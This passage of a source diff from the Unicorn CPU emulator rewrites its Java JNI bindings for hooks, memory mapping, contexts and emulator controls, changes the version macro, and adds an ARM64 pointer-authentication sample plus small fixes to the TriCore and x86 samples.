uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookblock, env, 1, 0, arg1, arg2); - break; - case UC_HOOK_MEM_READ: // Hook all memory read events. - if (invokeReadCallbacks == 0) { - invokeReadCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeReadCallbacks", "(JJI)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookmem, env, 1, 0, arg1, arg2); - break; - case UC_HOOK_MEM_WRITE: // Hook all memory write events. - if (invokeWriteCallbacks == 0) { - invokeWriteCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeWriteCallbacks", "(JJIJ)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookmem, env, 1, 0, arg1, arg2); - break; - } - return (jlong)hh; -} - -/* - * Class: unicorn_Unicorn - * Method: hook_del +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1hook_1del(JNIEnv *env, + jclass clazz, jlong uc, + jlong hh) +{ + struct hook_wrapper *h = (struct hook_wrapper *)hh; + uc_hook_del((uc_engine *)uc, h->uc_hh); + if (h->unicorn) { + (*env)->DeleteGlobalRef(env, h->unicorn); + h->unicorn = NULL; + } + if (h->hook_obj) { + (*env)->DeleteGlobalRef(env, h->hook_obj); + h->hook_obj = NULL; + } + if (h->user_data) { + (*env)->DeleteGlobalRef(env, h->user_data); + h->user_data = NULL; + } +} + +/* + * Class: unicorn_Unicorn + * Method: _hookwrapper_free * Signature: (J)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_hook_1del - (JNIEnv *env, jobject self, jlong hh) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1hookwrapper_1free(JNIEnv *env, + jclass clazz, + jlong hh) +{ + deleteHookWrapper(env, (struct hook_wrapper *)hh); +} + +/* + * Class: unicorn_Unicorn + * Method: _mmio_map + * Signature: + * (JJJLunicorn/MmioReadHandler;Ljava/lang/Object;Lunicorn/MmioWriteHandler;Ljava/lang/Object;)[J + */ +JNIEXPORT jlongArray JNICALL Java_unicorn_Unicorn__1mmio_1map( + JNIEnv *env, jobject self, jlong uc, jlong address, jlong size, + jobject read_cb, jobject user_data_read, jobject write_cb, + jobject user_data_write) +{ + struct hook_wrapper *hooks[2] = {0}; + + if (read_cb) { + hooks[0] = makeHookWrapper(env, self, read_cb, user_data_read, "read", + sig_MmioReadHandler); + if (!hooks[0]) { + goto fail; + } + } + + if (write_cb) { + hooks[1] = makeHookWrapper(env, self, write_cb, user_data_write, + "write", sig_MmioWriteHandler); + if (!hooks[1]) { + goto fail; + } + } + + jlong hooksLong[2]; + size_t hooksCount = 0; + if (hooks[0]) + hooksLong[hooksCount++] = (jlong)hooks[0]; + if (hooks[1]) + hooksLong[hooksCount++] = (jlong)hooks[1]; + + jlongArray result = (*env)->NewLongArray(env, hooksCount); + if (result == NULL) { + goto fail; + } + (*env)->SetLongArrayRegion(env, result, 0, hooksCount, hooksLong); + + uc_err err = uc_mmio_map((uc_engine *)uc, address, size, + (hooks[0] ? cb_mmio_read : NULL), hooks[0], + (hooks[1] ? cb_mmio_write : NULL), hooks[1]); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + goto fail; + } + return result; +fail: + deleteHookWrapper(env, hooks[0]); + deleteHookWrapper(env, hooks[1]); + return NULL; +} + +/* + * Class: unicorn_Unicorn + * Method: _mem_map + * Signature: (JJJI)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1mem_1map(JNIEnv *env, + jclass clazz, jlong uc, + jlong address, + jlong size, jint perms) +{ + uc_err err = uc_mem_map((uc_engine *)uc, address, size, perms); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - //**** TODO remove hook from any internal hook tables as well +/* + * Class: unicorn_Unicorn + * Method: _mem_map_ptr + * Signature: (JJLjava/nio/Buffer;I)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1mem_1map_1ptr( + JNIEnv *env, jclass clazz, jlong uc, jlong address, jobject buf, jint perms) +{ + jlong size = (*env)->GetDirectBufferCapacity(env, buf); + void *host_address = (*env)->GetDirectBufferAddress(env, buf); + if (size < 0 || host_address == NULL) { + throwCustomUnicornException(env, + "mem_map_ptr requires a direct buffer"); + return; + } + + uc_err err = + uc_mem_map_ptr((uc_engine *)uc, address, size, perms, host_address); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - uc_err err = uc_hook_del(eng, (uc_hook)hh); - if (err != UC_ERR_OK) { - throwException(env, err); - } +/* + * Class: unicorn_Unicorn + * Method: _mem_unmap + * Signature: (JJJ)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1mem_1unmap(JNIEnv *env, + jclass clazz, jlong uc, + jlong address, + jlong size) +{ + uc_err err = uc_mem_unmap((uc_engine *)uc, address, size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: mem_map - * Signature: (JJI)V + * Method: _mem_protect + * Signature: (JJJI)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map - (JNIEnv *env, jobject self, jlong address, jlong size, jint perms) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1mem_1protect( + JNIEnv *env, jclass clazz, jlong uc, jlong address, jlong size, jint perms) +{ + uc_err err = uc_mem_protect((uc_engine *)uc, address, size, perms); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - uc_err err = uc_mem_map(eng, (uint64_t)address, (size_t)size, (uint32_t)perms); - if (err != UC_ERR_OK) { - throwException(env, err); - } +/* + * Class: unicorn_Unicorn + * Method: _mem_regions + * Signature: (J)[Lunicorn/MemRegion; + */ +JNIEXPORT jobjectArray JNICALL +Java_unicorn_Unicorn__1mem_1regions(JNIEnv *env, jclass uc_clazz, jlong uc) +{ + static jclass clazz; + if (!clazz) { + clazz = (*env)->FindClass(env, "unicorn/MemRegion"); + if (!clazz) + return NULL; + clazz = (*env)->NewGlobalRef(env, clazz); + if (!clazz) + return NULL; + } + + static jmethodID clazzInit; + if (!clazzInit) { + clazzInit = (*env)->GetMethodID(env, clazz, "", "(JJI)V"); + if (!clazzInit) + return NULL; + } + + uc_mem_region *regions = NULL; + uint32_t count = 0; + uint32_t i; + + uc_err err = uc_mem_regions((uc_engine *)uc, ®ions, &count); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return NULL; + } + + jobjectArray result = + (*env)->NewObjectArray(env, (jsize)count, clazz, NULL); + if (!result) { + uc_free(regions); + return NULL; + } + + for (i = 0; i < count; i++) { + jobject mr = + (*env)->NewObject(env, clazz, clazzInit, (jlong)regions[i].begin, + (jlong)regions[i].end, (jint)regions[i].perms); + if (!mr) { + uc_free(regions); + return NULL; + } + (*env)->SetObjectArrayElement(env, result, (jsize)i, mr); + } + uc_free(regions); + + return result; } /* * Class: unicorn_Unicorn - * Method: mem_map_ptr - * Signature: (JJI[B)V + * Method: _context_alloc + * Signature: (J)J */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map_1ptr - (JNIEnv *env, jobject self, jlong address, jlong size, jint perms, jbyteArray block) { - uc_engine *eng = getEngine(env, self); - jbyte *array = (*env)->GetByteArrayElements(env, block, NULL); - uc_err err = uc_mem_map_ptr(eng, (uint64_t)address, (size_t)size, (uint32_t)perms, (void*)array); - if (err != UC_ERR_OK) { - throwException(env, err); - } - //Need to track address/block/array so that we can ReleaseByteArrayElements when the - //block gets unmapped or when uc_close gets called - //(*env)->ReleaseByteArrayElements(env, block, array, JNI_ABORT); +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn__1context_1alloc(JNIEnv *env, + jclass clazz, + jlong uc) +{ + uc_context *ctx; + uc_err err = uc_context_alloc((uc_engine *)uc, &ctx); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return (jlong)ctx; } /* * Class: unicorn_Unicorn - * Method: mem_unmap + * Method: _context_free + * Signature: (J)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1context_1free(JNIEnv *env, + jclass clazz, + jlong ctx) +{ + uc_err err = uc_context_free((uc_context *)ctx); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} + +/* + * Class: unicorn_Unicorn + * Method: _context_save * Signature: (JJ)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1unmap - (JNIEnv *env, jobject self, jlong address, jlong size) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1context_1save(JNIEnv *env, + jclass clazz, + jlong uc, jlong ctx) +{ + uc_err err = uc_context_save((uc_engine *)uc, (uc_context *)ctx); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - uc_err err = uc_mem_unmap(eng, (uint64_t)address, (size_t)size); - if (err != UC_ERR_OK) { - throwException(env, err); - } +/* + * Class: unicorn_Unicorn + * Method: _context_restore + * Signature: (JJ)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1context_1restore(JNIEnv *env, + jclass clazz, + jlong uc, + jlong ctx) +{ + uc_err err = uc_context_restore((uc_engine *)uc, (uc_context *)ctx); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - //If a region was mapped using uc_mem_map_ptr, we also need to - //ReleaseByteArrayElements for that region +/* + * Class: unicorn_Unicorn + * Method: _ctl_get_mode + * Signature: (J)I + */ +JNIEXPORT jint JNICALL Java_unicorn_Unicorn__1ctl_1get_1mode(JNIEnv *env, + jclass clazz, + jlong uc) +{ + int mode; + uc_err err = uc_ctl_get_mode((uc_engine *)uc, &mode); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return mode; } /* * Class: unicorn_Unicorn - * Method: mem_protect - * Signature: (JJI)V + * Method: _ctl_get_arch + * Signature: (J)I */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1protect - (JNIEnv *env, jobject self, jlong address, jlong size, jint perms) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jint JNICALL Java_unicorn_Unicorn__1ctl_1get_1arch(JNIEnv *env, + jclass clazz, + jlong uc) +{ + int arch; + uc_err err = uc_ctl_get_arch((uc_engine *)uc, &arch); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return arch; +} - uc_err err = uc_mem_protect(eng, (uint64_t)address, (size_t)size, (uint32_t)perms); - if (err != UC_ERR_OK) { - throwException(env, err); - } +/* + * Class: unicorn_Unicorn + * Method: _ctl_get_timeout + * Signature: (J)J + */ +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn__1ctl_1get_1timeout(JNIEnv *env, + jclass clazz, + jlong uc) +{ + uint64_t timeout; + uc_err err = uc_ctl_get_timeout((uc_engine *)uc, &timeout); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return timeout; } /* * Class: unicorn_Unicorn - * Method: mem_regions - * Signature: ()[Lunicorn/MemRegion; + * Method: _ctl_get_page_size + * Signature: (J)I */ -JNIEXPORT jobjectArray JNICALL Java_unicorn_Unicorn_mem_1regions - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jint JNICALL Java_unicorn_Unicorn__1ctl_1get_1page_1size(JNIEnv *env, + jclass clazz, + jlong uc) +{ + uint32_t page_size; + uc_err err = uc_ctl_get_page_size((uc_engine *)uc, &page_size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return page_size; +} - uc_mem_region *regions = NULL; - uint32_t count = 0; - uint32_t i; +/* + * Class: unicorn_Unicorn + * Method: _ctl_set_page_size + * Signature: (JI)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1ctl_1set_1page_1size( + JNIEnv *env, jclass clazz, jlong uc, jint page_size) +{ + uc_err err = uc_ctl_set_page_size((uc_engine *)uc, (uint32_t)page_size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - uc_err err = uc_mem_regions(eng, ®ions, &count); - if (err != UC_ERR_OK) { - throwException(env, err); - } - jclass clz = (*env)->FindClass(env, "unicorn/MemRegion"); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } - jobjectArray result = (*env)->NewObjectArray(env, (jsize)count, clz, NULL); - jmethodID cons = (*env)->GetMethodID(env, clz, "", "(JJI)V"); - for (i = 0; i < count; i++) { - jobject mr = (*env)->NewObject(env, clz, cons, regions[i].begin, regions[i].end, regions[i].perms); - (*env)->SetObjectArrayElement(env, result, (jsize)i, mr); - } - uc_free(regions); +/* + * Class: unicorn_Unicorn + * Method: _ctl_set_use_exits + * Signature: (JZ)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1ctl_1set_1use_1exits( + JNIEnv *env, jclass clazz, jlong uc, jboolean value) +{ + uc_err err; + if (value) { + err = uc_ctl_exits_enable((uc_engine *)uc); + } else { + err = uc_ctl_exits_disable((uc_engine *)uc); + } + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - return result; +/* + * Class: unicorn_Unicorn + * Method: _ctl_get_exits_cnt + * Signature: (J)J + */ +JNIEXPORT jlong JNICALL +Java_unicorn_Unicorn__1ctl_1get_1exits_1cnt(JNIEnv *env, jclass clazz, jlong uc) +{ + size_t exits_cnt; + uc_err err = uc_ctl_get_exits_cnt((uc_engine *)uc, &exits_cnt); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return exits_cnt; } /* * Class: unicorn_Unicorn - * Method: context_alloc - * Signature: ()J + * Method: _ctl_get_exits + * Signature: (J)[J */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_context_1alloc - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); - uc_context *ctx; - uc_err err = uc_context_alloc(eng, &ctx); - if (err != UC_ERR_OK) { - throwException(env, err); - } - return (jlong)(uint64_t)ctx; +JNIEXPORT jlongArray JNICALL +Java_unicorn_Unicorn__1ctl_1get_1exits(JNIEnv *env, jclass clazz, jlong uc) +{ + size_t exits_cnt; + uc_err err = uc_ctl_get_exits_cnt((uc_engine *)uc, &exits_cnt); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + + jlongArray result = (*env)->NewLongArray(env, (jsize)exits_cnt); + if (!result) + return NULL; + + jlong *resultArr = (*env)->GetLongArrayElements(env, result, NULL); + if (!resultArr) + return NULL; + + err = uc_ctl_get_exits((uc_engine *)uc, (uint64_t *)resultArr, exits_cnt); + (*env)->ReleaseLongArrayElements(env, result, resultArr, 0); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return result; } /* * Class: unicorn_Unicorn - * Method: free - * Signature: (J)V + * Method: _ctl_set_exits + * Signature: (J[J)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1ctl_1set_1exits(JNIEnv *env, + jclass clazz, + jlong uc, + jlongArray exits) +{ + jsize count = (*env)->GetArrayLength(env, exits); + jlong *arr = (*env)->GetLongArrayElements(env, exits, NULL); + if (!arr) + return; + + uc_err err = + uc_ctl_set_exits((uc_engine *)uc, (uint64_t *)arr, (size_t)count); + (*env)->ReleaseLongArrayElements(env, exits, arr, JNI_ABORT); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} + +/* + * Class: unicorn_Unicorn + * Method: _ctl_get_cpu_model + * Signature: (J)I + */ +JNIEXPORT jint JNICALL Java_unicorn_Unicorn__1ctl_1get_1cpu_1model(JNIEnv *env, + jclass clazz, + jlong uc) +{ + int cpu_model; + uc_err err = uc_ctl_get_cpu_model((uc_engine *)uc, &cpu_model); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return cpu_model; +} + +/* + * Class: unicorn_Unicorn + * Method: _ctl_set_cpu_model + * Signature: (JI)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1ctl_1set_1cpu_1model( + JNIEnv *env, jclass clazz, jlong uc, jint cpu_model) +{ + uc_err err = uc_ctl_set_cpu_model((uc_engine *)uc, (int)cpu_model); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} + +/* + * Class: unicorn_Unicorn + * Method: _ctl_request_cache + * Signature: (JJ)Lunicorn/TranslationBlock; + */ +JNIEXPORT jobject JNICALL Java_unicorn_Unicorn__1ctl_1request_1cache( + JNIEnv *env, jclass clazz, jlong uc, jlong address) +{ + uc_tb tb; + uc_err err = uc_ctl_request_cache((uc_engine *)uc, (uint64_t)address, &tb); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return NULL; + } + return makeTranslationBlock(env, &tb); +} + +/* + * Class: unicorn_Unicorn + * Method: _ctl_remove_cache + * Signature: (JJJ)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_free - (JNIEnv *env, jobject self, jlong ctx) { - uc_err err = uc_free((void *)ctx); - if (err != UC_ERR_OK) { - throwException(env, err); - } +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1ctl_1remove_1cache( + JNIEnv *env, jclass clazz, jlong uc, jlong address, jlong end) +{ + uc_err err = + uc_ctl_remove_cache((uc_engine *)uc, (uint64_t)address, (uint64_t)end); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: context_save + * Method: _ctl_flush_tb * Signature: (J)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1save - (JNIEnv *env, jobject self, jlong ctx) { - uc_engine *eng = getEngine(env, self); - uc_err err = uc_context_save(eng, (uc_context*)ctx); - if (err != UC_ERR_OK) { - throwException(env, err); - } +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1ctl_1flush_1tb(JNIEnv *env, + jclass clazz, + jlong uc) +{ + uc_err err = uc_ctl_flush_tb((uc_engine *)uc); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: context_restore + * Method: _ctl_flush_tlb * Signature: (J)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1restore - (JNIEnv *env, jobject self, jlong ctx) { - uc_engine *eng = getEngine(env, self); - uc_err err = uc_context_restore(eng, (uc_context*)ctx); - if (err != UC_ERR_OK) { - throwException(env, err); - } +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1ctl_1flush_1tlb(JNIEnv *env, + jclass clazz, + jlong uc) +{ + uc_err err = uc_ctl_flush_tlb((uc_engine *)uc); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: ctl_set_cpu_model - * Signature: (I)V + * Method: _ctl_tlb_mode + * Signature: (JI)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_ctl_1set_1cpu_1model - (JNIEnv *env, jobject self, jint cpu_model) { - uc_engine *eng = getEngine(env, self); - uc_err err = uc_ctl_set_cpu_model(eng, cpu_model); - if (err != UC_ERR_OK) { - throwException(env, err); - } +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1ctl_1tlb_1mode(JNIEnv *env, + jclass clazz, + jlong uc, + jint mode) +{ + uc_err err = uc_ctl_tlb_mode((uc_engine *)uc, (int)mode); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } diff --git a/include/unicorn/unicorn.h b/include/unicorn/unicorn.h index 80b5eed58f..91b0019cca 100644 --- a/include/unicorn/unicorn.h +++ b/include/unicorn/unicorn.h @@ -86,7 +86,7 @@ typedef size_t uc_hook; Macro to create combined version which can be compared to result of uc_version() API. */ -#define UC_MAKE_VERSION(major, minor) ((major << 8) + minor) +#define UC_MAKE_VERSION(major, minor) (((major) << 24) + ((minor) << 16)) // Scales to calculate timeout on microsecond unit // 1 second = 1000,000 microseconds @@ -678,13 +678,11 @@ typedef struct uc_context uc_context; @major: major number of API version @minor: minor number of API version - @return hexical number as (major << 8 | minor), which encodes both - major & minor versions. + @return hexadecimal number as (major << 24 | minor << 16 | patch << 8 | extra). NOTE: This returned value can be compared with version number made with macro UC_MAKE_VERSION - For example, second API version would return 1 in @major, and 1 in @minor - The return value would be 0x0101 + For example, Unicorn version 2.0.1 final would be 0x020001ff. NOTE: if you only care about returned value, but not major and minor values, set both @major & @minor arguments to NULL. diff --git a/samples/sample_arm64.c b/samples/sample_arm64.c index 603b59cf5d..a52c8c1773 100644 --- a/samples/sample_arm64.c +++ b/samples/sample_arm64.c @@ -293,9 +293,97 @@ static void test_arm64_hook_mrs(void) uc_close(uc); } + +#define CHECK(x) do { \ + if((x) != UC_ERR_OK) { \ + fprintf(stderr, "FAIL at %s:%d: %s\n", __FILE__, __LINE__, #x); \ + exit(1); \ + } \ +} while(0) + + +/* Test PAC support in the emulator. Code adapted from +https://github.com/unicorn-engine/unicorn/issues/1789#issuecomment-1536320351 */ +static void test_arm64_pac(void) +{ + uc_engine *uc; + uint64_t x1 = 0x0000aaaabbbbccccULL; + + // paciza x1 + #define ARM64_PAC_CODE "\xe1\x23\xc1\xda" + + printf("Try ARM64 PAC\n"); + + // Initialize emulator in ARM mode + CHECK(uc_open(UC_ARCH_ARM64, UC_MODE_ARM, &uc)); + CHECK(uc_ctl_set_cpu_model(uc, UC_CPU_ARM64_MAX)); + CHECK(uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL)); + CHECK(uc_mem_write(uc, ADDRESS, ARM64_PAC_CODE, sizeof(ARM64_PAC_CODE) - 1)); + CHECK(uc_reg_write(uc, UC_ARM64_REG_X1, &x1)); + + /** Initialize PAC support **/ + uc_arm64_cp_reg reg; + + // SCR_EL3 + reg.op0 = 0b11; + reg.op1 = 0b110; + reg.crn = 0b0001; + reg.crm = 0b0001; + reg.op2 = 0b000; + + CHECK(uc_reg_read(uc, UC_ARM64_REG_CP_REG, ®)); + + // NS && RW && API + reg.val |= (1 | (1<<10) | (1<<17)); + + CHECK(uc_reg_write(uc, UC_ARM64_REG_CP_REG, ®)); + + // SCTLR_EL1 + reg.op0 = 0b11; + reg.op1 = 0b000; + reg.crn = 0b0001; + reg.crm = 0b0000; + reg.op2 = 0b000; + + CHECK(uc_reg_read(uc, UC_ARM64_REG_CP_REG, ®)); + + // EnIA && EnIB + reg.val |= (1<<31) | (1<<30); + + CHECK(uc_reg_write(uc, UC_ARM64_REG_CP_REG, ®)); + + // HCR_EL2 + reg.op0 = 0b11; + reg.op1 = 0b100; + reg.crn = 0b0001; + reg.crm = 0b0001; + reg.op2 = 0b000; + + // HCR.API + reg.val |= (1ULL<<41); + + CHECK(uc_reg_write(uc, UC_ARM64_REG_CP_REG, ®)); + + /** Check that PAC worked **/ + CHECK(uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(ARM64_PAC_CODE) - 1, 0, 0)); + CHECK(uc_reg_read(uc, UC_ARM64_REG_X1, &x1)); + + printf("X1 = 0x%" PRIx64 "\n", x1); + if (x1 == 0x0000aaaabbbbccccULL) { + printf("FAIL: No PAC tag added!\n"); + } else { + // Expect 0x1401aaaabbbbccccULL with the default key + printf("SUCCESS: PAC tag found.\n"); + } + + uc_close(uc); +} + int main(int argc, char **argv, char **envp) { test_arm64_mem_fetch(); + + printf("-------------------------\n"); test_arm64(); printf("-------------------------\n"); @@ -307,5 +395,8 @@ int main(int argc, char **argv, char **envp) printf("-------------------------\n"); test_arm64_hook_mrs(); + printf("-------------------------\n"); + test_arm64_pac(); + return 0; } diff --git a/samples/sample_tricore.c b/samples/sample_tricore.c index 1b7a5551bd..c3e20655f4 100644 --- a/samples/sample_tricore.c +++ b/samples/sample_tricore.c @@ -9,7 +9,7 @@ #include // code to be emulated -#define CODE "\x82\x11\xbb\x00\x00\x08" // mov d0, #0x1; mov.u d0, #0x8000 +#define CODE "\x82\x11\xbb\x00\x00\x08" // mov d1, #0x1; mov.u d0, #0x8000 // memory address where emulation starts #define ADDRESS 0x10000 @@ -36,6 +36,7 @@ static void test_tricore(void) uc_hook trace1, trace2; uint32_t d0 = 0x0; // d0 register + uint32_t d1 = 0x0; // d1 register printf("Emulate TriCore code\n"); @@ -73,6 +74,9 @@ static void test_tricore(void) uc_reg_read(uc, UC_TRICORE_REG_D0, &d0); printf(">>> d0 = 0x%x\n", d0); + uc_reg_read(uc, UC_TRICORE_REG_D1, &d1); + printf(">>> d1 = 0x%x\n", d1); + uc_close(uc); } diff --git a/samples/sample_x86.c b/samples/sample_x86.c index a3ce01b2a7..873af8193d 100644 --- a/samples/sample_x86.c +++ b/samples/sample_x86.c @@ -360,7 +360,6 @@ static void test_i386_map_ptr(void) int r_ecx = 0x1234; // ECX register int r_edx = 0x7890; // EDX register - printf("===================================\n"); printf("Emulate i386 code - use uc_mem_map_ptr()\n"); // Initialize emulator in X86-32bit mode @@ -426,7 +425,6 @@ static void test_i386_jump(void) uc_err err; uc_hook trace1, trace2; - printf("===================================\n"); printf("Emulate i386 code with jump\n"); // Initialize emulator in X86-32bit mode @@ -474,7 +472,6 @@ static void test_i386_loop(void) int r_ecx = 0x1234; // ECX register int r_edx = 0x7890; // EDX register - printf("===================================\n"); printf("Emulate i386 code that loop forever\n"); // Initialize emulator in X86-32bit mode @@ -528,7 +525,6 @@ static void test_i386_invalid_mem_read(void) int r_ecx = 0x1234; // ECX register int r_edx = 0x7890; // EDX register - printf("===================================\n"); printf("Emulate i386 code that read from invalid memory\n"); // Initialize emulator in X86-32bit mode @@ -588,7 +584,6 @@ static void test_i386_invalid_mem_write(void) int r_ecx = 0x1234; // ECX register int r_edx = 0x7890; // EDX register - printf("===================================\n"); printf("Emulate i386 code that write to invalid memory\n"); // Initialize emulator in X86-32bit mode @@ -663,7 +658,6 @@ static void test_i386_jump_invalid(void) int r_ecx = 0x1234; // ECX register int r_edx = 0x7890; // EDX register - printf("===================================\n"); printf("Emulate i386 code that jumps to invalid memory\n"); // Initialize emulator in X86-32bit mode @@ -721,7 +715,6 @@ static void test_i386_inout(void) int r_eax = 0x1234; // EAX register int r_ecx = 0x6789; // ECX register - printf("===================================\n"); printf("Emulate i386 code with IN/OUT instructions\n"); // Initialize emulator in X86-32bit mode @@ -785,7 +778,6 @@ static void test_i386_context_save(void) int r_eax = 0x1; // EAX register - printf("===================================\n"); printf("Save/restore CPU context in opaque blob\n"); // initialize emulator in X86-32bit mode @@ -908,7 +900,6 @@ static void test_i386_invalid_c6c7(void) }; int i, j, k; - printf("===================================\n"); printf("Emulate i386 C6/C7 opcodes\n"); // Initialize emulator in X86-32bit mode @@ -1077,7 +1068,6 @@ static void test_x86_64_syscall(void) int64_t rax = 0x100; - printf("===================================\n"); printf("Emulate x86_64 code with 'syscall' instruction\n"); // Initialize emulator in X86-64bit mode @@ -1186,7 +1176,6 @@ static void test_i386_invalid_mem_read_in_tb(void) int r_edx = 0x7890; // EDX register int r_eip = 0; - printf("===================================\n"); printf( "Emulate i386 code that read invalid memory in the middle of a TB\n"); @@ -1249,7 +1238,6 @@ static void test_i386_smc_xor(void) uint32_t r_eax = 0xbc4177e6; // EDX register uint32_t result; - printf("===================================\n"); printf("Emulate i386 code that modfies itself\n"); // Initialize emulator in X86-32bit mode @@ -1325,7 +1313,6 @@ static void test_i386_mmio(void) int r_ecx = 0xdeadbeef; uc_err err; - printf("===================================\n"); printf("Emulate i386 code that uses MMIO\n"); // Initialize emulator in X86-32bit mode @@ -1403,7 +1390,6 @@ static void test_i386_hook_mem_invalid(void) "\xb8\xef\xbe\xad\xde\xa3\x00\x80\x00\x00\xa1\x00\x00\x01\x00"; uc_err err; - printf("===================================\n"); printf("Emulate i386 code that triggers invalid memory read/write.\n"); err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); @@ -1448,40 +1434,66 @@ int main(int argc, char **argv, char **envp) test_x86_16(); } else if (!strcmp(argv[1], "-32")) { test_miss_code(); + printf("===================================\n"); test_i386(); + printf("===================================\n"); test_i386_map_ptr(); + printf("===================================\n"); test_i386_inout(); + printf("===================================\n"); test_i386_context_save(); + printf("===================================\n"); test_i386_jump(); + printf("===================================\n"); test_i386_loop(); + printf("===================================\n"); test_i386_invalid_mem_read(); + printf("===================================\n"); test_i386_invalid_mem_write(); + printf("===================================\n"); test_i386_jump_invalid(); // test_i386_invalid_c6c7(); } else if (!strcmp(argv[1], "-64")) { test_x86_64(); + printf("===================================\n"); test_x86_64_syscall(); } else if (!strcmp(argv[1], "-h")) { printf("Syntax: %s <-16|-32|-64>\n", argv[0]); } } else { test_x86_16(); + printf("===================================\n"); test_miss_code(); + printf("===================================\n"); test_i386(); + printf("===================================\n"); test_i386_map_ptr(); + printf("===================================\n"); test_i386_inout(); + printf("===================================\n"); test_i386_context_save(); + printf("===================================\n"); test_i386_jump(); + printf("===================================\n"); test_i386_loop(); + printf("===================================\n"); test_i386_invalid_mem_read(); + printf("===================================\n"); test_i386_invalid_mem_write(); + printf("===================================\n"); test_i386_jump_invalid(); // test_i386_invalid_c6c7(); + printf("===================================\n"); test_x86_64(); + printf("===================================\n"); test_x86_64_syscall(); + printf("===================================\n"); test_i386_invalid_mem_read_in_tb(); + printf("===================================\n"); test_i386_smc_xor(); + printf("===================================\n"); test_i386_mmio(); + printf("===================================\n"); test_i386_hook_mem_invalid(); }